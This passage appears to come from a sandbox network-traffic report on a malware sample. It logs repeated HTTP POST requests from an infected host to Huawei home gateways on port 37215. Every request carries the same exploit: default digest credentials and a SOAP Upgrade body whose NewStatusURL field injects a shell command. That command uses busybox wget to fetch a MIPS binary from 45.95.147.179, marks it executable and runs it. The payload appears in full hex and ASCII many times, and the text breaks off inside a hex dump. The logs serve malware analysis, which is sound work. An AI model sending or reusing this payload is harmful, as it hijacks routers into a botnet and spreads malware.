22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.20	49266	41.232.250.61	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:34.955339909 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:35.242202044 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.20	51026	156.254.78.254	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:35.542498112 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:37.020651102 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:38.800544977 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:42.364573002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:49.484484911 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:03.724596977 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:32.172542095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.20	59992	94.121.178.204	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:43.891616106 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 